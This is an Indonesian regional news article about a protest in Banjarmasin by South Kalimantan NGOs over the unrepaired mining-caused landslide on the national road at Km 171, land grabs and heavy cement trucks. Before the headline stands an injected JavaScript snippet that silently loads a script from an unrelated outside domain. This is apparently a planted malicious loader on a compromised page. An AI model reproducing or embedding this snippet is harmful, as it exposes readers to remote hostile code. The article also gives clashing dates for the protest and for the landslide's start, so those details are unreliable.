(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Soroti Longsor Jalan Nasional Km 171, Mana Suara Anggota DPR dan DPD RI Asal Kalsel!

KANALKALIMANTAN.COM, BANJARMASIN – Momentum peringatan Hari Lahir Pancasila, sejumlah massa yang tergabung dari LSM di Kalsel berunjuk rasa di Siring 0 Kilometer Banjarmasin, Jumat (2/5/2023) siang.

Massa yang mengatasnamakan LSM Barisan Anak Bangsa Anti Kecurangan (BABAK) Kalsel dan LSM KPK APP Kalsel melayangkan sejumlah tuntutan dengan membentangkan beberapa spanduk.

Diantaranya terkait dugaan penyerobotan lahan oleh salah satu perusahaan, aktivitas pertambangan yang dinilai menyalahi aturan, hingga meminta penertiban truk-truk besar pengangkut semen yang melintasi jalan nasional di Provinsi Kalsel.

Salah seorang orator unjuk rasa Aliansyah juga menyinggung terkait kerusakan jalan nasional di Kilometer 171 Kecamatan Satui, Kabupaten Tanah Bumbu, yang rusak parah longsor akibat pertambangan batubara tak kunjung diperbaiki.

Jalan yang mulai longsor pada 28 September 2022 hingga saat ini lebih delapan bulan berlalu belum dilakukan perbaikan maksimal.

“Apakah Presiden sudah tidak mendengar lagi jeritan Kalsel. Hari ini kita menggugat bahwa telah terjadi ketidakadilan di Kalsel,” ujarnya.

Sebab menurut Ali, jalan penghubung Kaltim-Kalsel tersebut merupakan akses penting perekonomian masyarakat Kalsel, serta terhubung ke Ibu Kota Negara (IKN) Nusantara di Kalimantan Timur.

“Jalan menuju ibu kota negara hancur, Kalsel seperti di anak tirikan,” ucapnya.

Ketua LSM KPK APP Kalsel tersebut juga menyinggung Anggota DPR RI dan senator DPD RI Dapil Kalsel yang tidak terdengar suaranya terkait kerusakan jalan kilometer 171 tersebut.

“Anggota DPR dan DPD yang tidak bermanfaat jangan dipilih lagi,” pungkasnya.

Sebagai pengingat, jalan kilometer 171 Kecamatan Satui, Kabupaten Tanah Bumbu, Kalsel mengalami longsor sebanyak tiga kali, dimulai tanggal 28 September 2018.

Hingga delapan bulan lebih berlalu, jalan yang longsor tersebut belum juga dilakukan perbaikan secara maksimal oleh pemerintah.

Pada aksi tersebut massa juga membentangkan sejumlah spanduk bertuliskan tuntutan yang dilayangkan kepada Polda Kalsel dan pihak terkait lainnya.

Salah satunya spanduk bertuliskan “Di Hari Kesaktian Pancasila tidak ada lagi penyerobotan lahan oleh perusahaan dengan dalih investasi. Hukum yang berkeadilan bukan hukum sesuai pesanan. Sehingga keadilan sosial bagi seluruh rakyat Indonesia bisa ditegakan bukan sekedar slogan”.

Aksi dijaga ketat aparat kepolisian dari Polresta Banjarmasin dan Polsek Banjarmasin Tengah. Hingga aksi berakhir sekitar pukul 11.00 Wita masa membubarkan diri secara tertib. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie